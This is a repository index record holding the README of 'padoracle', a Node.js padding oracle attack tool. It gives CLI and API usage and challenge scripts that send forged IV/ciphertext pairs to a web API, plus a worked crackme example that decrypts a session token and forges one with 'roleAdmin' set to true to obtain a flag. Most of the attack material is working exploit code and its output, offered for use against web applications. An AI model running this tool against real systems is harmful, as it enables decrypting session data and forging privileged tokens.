{"id":17104598,"url":"https://github.com/imyelo/padoracle","last_synced_at":"2025-04-13T01:11:43.265Z","repository":{"id":47783773,"uuid":"185805037","full_name":"imyelo/padoracle","owner":"imyelo","description":"Padding Oracle Attack with Node.js","archived":false,"fork":false,"pushed_at":"2024-07-16T10:24:26.000Z","size":735,"stargazers_count":10,"open_issues_count":0,"forks_count":4,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-04-07T05:35:24.599Z","etag":null,"topics":["aes","attack","buster","cbc","exploit","oracle","pad","padding","padding-oracle-attacks","pkcs7","pkcs7padding","ssl","tls"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/imyelo.png","metadata":{"files":{"readme":"readme.md","changelog":null,"contributing":null,"funding":null,"license":"license","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-05-09T13:32:26.000Z","updated_at":"2024-07-16T10:24:23.000Z","dependencies_parsed_at":"2023-02-18T20:01:20.399Z","dependency_job_id":"4e2a2fa5-995a-4645-a209-68c6418bf46d","html_url":"https://github.com/imyelo/padoracle","commit_stats":{"total_commits":48,"total_committers":2,"mean_commits":24.0,"dds":"0.39583333333333337","last_synced_commit":"b7af046d3f317b3643a317106b9ff58365620bf6"},"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/imyelo%2Fpadoracle","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/imyelo%2Fpadoracle/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/imyelo%2Fpadoracle/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/imyelo%2Fpadoracle/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/imyelo","download_url":"https://codeload.github.com/imyelo/padoracle/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248650753,"owners_count":21139681,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["aes","attack","buster","cbc","exploit","oracle","pad","padding","padding-oracle-attacks","pkcs7","pkcs7padding","ssl","tls"],"created_at":"2024-10-14T15:37:22.179Z","updated_at":"2025-04-13T01:11:43.246Z","avatar_url":"https://github.com/imyelo.png","language":"JavaScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Padoracle\n\u003e Padding Oracle Attack with Node.js\n\n[![Build Status](https://travis-ci.org/imyelo/padoracle.svg?branch=master)](https://travis-ci.org/imyelo/padoracle)\n[![npm](https://img.shields.io/npm/v/padoracle.svg?style=flat-square)](https://www.npmjs.com/package/padoracle)\n[![license](https://img.shields.io/npm/l/padoracle.svg?style=flat-square)](./LICENSE)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](http://makeapullrequest.com)\n\n## Features\n- :video_game: Friendly CLI\n- :electric_plug: Powerful API\n- :unlock: **Crack** plaintext, with just one set of known iv (initialization-vector) and ciphertext\n- :lock_with_ink_pen: Generate iv and ciphertext with any **modified** plaintext you want\n- :floppy_disk: Programmable challenge script\n- :dancers: Ultra-fast cracking, with unlimited concurrency\n\n## CLI\n### Installation\n```bash\nnpm i -g padoracle\n```\n\n### Usage\n#### Crack-Mode\nCrack plaintext with a set of known iv and ciphertext:\n\n```bash\npadoracle \u003cchallenge-script\u003e --size 16 --iv-cipher \u003civ-cipher\u003e\n```\n\n#### Modify-Mode\nGenerate a set of iv and ciphertext with specific plaintext:\n```bash\npadoracle \u003cchallenge-script\u003e --size 16 --plain \u003cplain\u003e\n```\n\n### Options\n#### Common Options\n- `challenge-script`\n    \n    A script which sends the decryption challenge to the target system.\n\n- `--size, -s`\n\n    Size of each block (in bytes).\n\n- `--help, -h`\n    \n    Show the help text.\n\n\n#### Crack-Mode Options\n- `--iv-cipher`\n\n    An iv-cipher pair which can pass the padding check (with base64 encoded).\n\n- `--concurrency, -c`\n\n    Concurrency, Infinity by default.\n\n\n#### Modify-Mode Options\n- `--plain, -p`\n\n    Target plain text.\n\n\n### Challenge Script\nWhen using Padoracle, you always need a challenge-script, which is a straightforward [ESM](https://github.com/standard-things/esm) script.\n\nThe challenge-script has to expose a default member, which is a function that accepts a set of iv and ciphertext, also returns `false` if decryption fails, otherwise `true`.\n\nFor example, in the most common scenario of attacking web applications, we can write a script like this:\n\n```javascript\nconst got = require('got') // You need to install dependencies manually.\n\nconst API = `http://somewebsite/someapi` // The API that invokes decryption.\n\nconst DECRYPTION_ERROR = 'DECRYPTION FAILED' // The message returns by the webapp when decrypting failed.\n\nconst challenge = async (iv, cipher) =\u003e {\n  let response = await got.post(API, {\n    body: Buffer.concat([iv, cipher]).toString('base64'),\n  }).catch((error) =\u003e error.response)\n  if (response.body === DECRYPTION_ERROR) {\n    return false\n  }\n  return true\n}\n\nexport default challenge\n```\n\nSee more complete scripts in [the examples](./examples).\n\n\n### Examples\nSuppose there is a program to be attacked, which we call [the Crackme](./examples/0.node/crackme/index.js).  \n\nThe Crackme provides two API —— `welcome()` to get a default token and `auth(token)` to verify administrator privileges.\n\nTokens are values encoded in Base64 after concatenating iv and ciphertext. \nBy decrypting this ciphertext with **AES-256-CBC** algorithm and this iv, the Crackme will get a JSON serialized session, which also means that the size of each block in the plaintext, iv, and ciphertext is all **16** (256/16) bytes.\n\nWhen we have administrator privileges, `auth(token)` API will return a secret data (`{FLAG}`) to us. Otherwise, that will return nothing. \n\nAlso, if there is an exception while decrypting token, the Crackme will throw an error, which is just the characteristic of [the Padding Oracle vulnerability](https://en.wikipedia.org/wiki/Padding_oracle_attack).\n\n**Our ultimate goal here is to get this secret data (`{FLAG}`).**\n\nFor example, with the `welcome()` API here, we always get the same token value `'UGFkT3JhY2xlOml2L2NiYyiFmLTj7lhu4mAJHakEqcIIoYU0lIUXKx+PmTaUHLV0'`,\nwhich is concatenated by iv (`\u003cBuffer 50 61 64 4f 72 61 63 6c 65 3a 69 76 2f 63 62 63\u003e`) and cipher (`\u003cBuffer 28 85 98 b4 e3 ee 58 6e e2 60 09 1d a9 04 a9 c2 08 a1 85 34 94 85 17 2b 1f 8f 99 36 94 1c b5 74\u003e`) after base64 decoded.\n\nAccording to [the protocol](#challenge-script), we write a [challenge-script](./examples/0.node/challenge.js) accepts a set of iv and ciphertext, which returns `false` when decrypting failed, otherwise, return `true` no matter the final session is valid or not.\n\n```javascript\nconst crackme = require('./crackme')\n\nconst challenge = async (iv, cipher) =\u003e {\n  try {\n    await crackme.api.auth(Buffer.concat([iv, cipher]).toString('base64'))\n  } catch (error) {\n    return false\n  }\n  return true\n}\n\nexport default challenge\n```\n\nEasy, huh?\n\nThen we use our CLI tools to crack the plaintext that this iv-ciphertext encrypted. \n\n```bash\npadoracle ./examples/0.node/challenge.js --iv-cipher UGFkT3JhY2xlOml2L2NiYyiFmLTj7lhu4mAJHakEqcIIoYU0lIUXKx+PmTaUHLV0 --size 16\n```\n\nIn a few minutes later, we will get the result:\n\n```\n----- Block 0 -----\nIntermediary (0) : 2b|43|0d|2b|50|5b|52|5c|55|16|4b|04|40|0f|07|22\n--------------------\n----- Block 1 -----\nIntermediary (1) : 4c|e8|f1|da|c1|d4|3e|0f|8e|13|6c|60|ad|00|ad|c6\n--------------------\n--------------------\nPlain text: {\"id\":100,\"roleAdmin\":false}\nPlain text (hex): 7b226964223a3130302c22726f6c6541646d696e223a66616c73657d04040404\n```\n\nNow we know that the default session is `{\"id\":100,\"roleAdmin\":false}`.\n\nBased on the structure of this session, we can determine that the next goal is to set the value of `roleAdmin` to `true`, such as `{\"roleAdmin\":true}`.\n\nSo, let's do it:\n\n```bash\npadoracle ./examples/0.node/challenge.js --size 16 --plain \"{\\\"roleAdmin\\\":true}\"\n```\n\nIn a few minutes later again, we will get the result:\n\n```\nIV (hex): ff291b394b7c56f3f964d3cf2fad0dbb\nCipher (hex): ecacc85b787f9777864b39fff50d5314ffffffffffffffffffffffffffffffff\nIV-Cipher (base64): /ykbOUt8VvP5ZNPPL60Nu+ysyFt4f5d3hks5//UNUxT/////////////////////\n```\n\nLet's verify the results. Create a [`flag.js`](./examples/0.node/flag.js):\n\n```javascript\nconst crackme = require('./crackme')\n\nconst TOKEN = '/ykbOUt8VvP5ZNPPL60Nu+ysyFt4f5d3hks5//UNUxT/////////////////////'\n\n;(async () =\u003e {\n  let result = await crackme.api.auth(TOKEN)\n  console.log(result)\n})()\n```\n\nRun it:\n\n```bash\nnode ./examples/0.node/flag.js\n# {FLAG}\n```\n\nWe did it! :tada:\n\nSee [more examples](./examples).\n\n## API\n### Installation\n```bash\nnpm i --save padoracle\n```\n\n### Usage\nCrack plaintext with a set of known iv and ciphertext:\n\n```javascript\nconst Cracker = require('padoracle')\nconst pkcs7 = require('pkcs7')\nconst got = require('got')\n\nconst API = `http://somewebsite/someapi` // The API that invokes decryption.\nconst DECRYPTION_ERROR = 'DECRYPTION FAILED' // The message returns by the webapp when decrypting failed.\n\nconst challenge = async (iv, cipher) =\u003e {\n  let response = await got.post(API, {\n    body: Buffer.concat([iv, cipher]).toString('base64'),\n  }).catch((error) =\u003e error.response)\n  if (response.body === DECRYPTION_ERROR) {\n    return false\n  }\n  return true\n}\n\nconst iv = Buffer.from('5061644f7261636c653a69762f636263', 'hex')\nconst cipher = Buffer.from('288598b4e3ee586ee260091da904a9c208a185349485172b1f8f9936941cb574', 'hex')\n\nlet result, plain\n\nlet cracker = new Cracker()\nresult = await cracker.crack(iv, cipher, challenge)\nplain = pkcs7.unpad(result.plain).toString()\n\nconsole.log(plain)\n```\n\n\nGenerate a set of iv and ciphertext with specific plaintext:\n\n```javascript\nconst Cracker = require('padoracle')\nconst got = require('got')\n\nconst API = `http://somewebsite/someapi` // The API that invokes decryption.\nconst DECRYPTION_ERROR = 'DECRYPTION FAILED' // The message returns by the webapp when decrypting failed.\n\nconst challenge = async (iv, cipher) =\u003e {\n  let response = await got.post(API, {\n    body: Buffer.concat([iv, cipher]).toString('base64'),\n  }).catch((error) =\u003e error.response)\n  if (response.body === DECRYPTION_ERROR) {\n    return false\n  }\n  return true\n}\n\nconst target = '{\"roleAdmin\":true}'\nconst size = 16\n\nlet cracker = new Cracker()\nlet { iv, cipher } = await cracker.modify(target, size, challenge)\nconsole.log(iv, cipher)\n```\n\nSee more examples in [tests](./test) .\n\n### Cracker\n- Cracker#crack(iv, cipher, challenge)\n  - return `{ intermediary, plain }`\n- Cracker#modify(target, size, challenge)\n  - return `{ iv, cipher }`\n- Cracker#broadcast\n\n## References\n- [Padding Oracle Attack](https://en.wikipedia.org/wiki/Padding_oracle_attack)\n- [DDCTF 2019 Web 8](https://yelo.cc/2019/04/17/ddctf-2019-writeups-web-8.html)\n\n## License\n[Apache-2.0](./license) \u0026copy; [yelo](https://github.com/imyelo)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fimyelo%2Fpadoracle","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fimyelo%2Fpadoracle","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fimyelo%2Fpadoracle/lists"}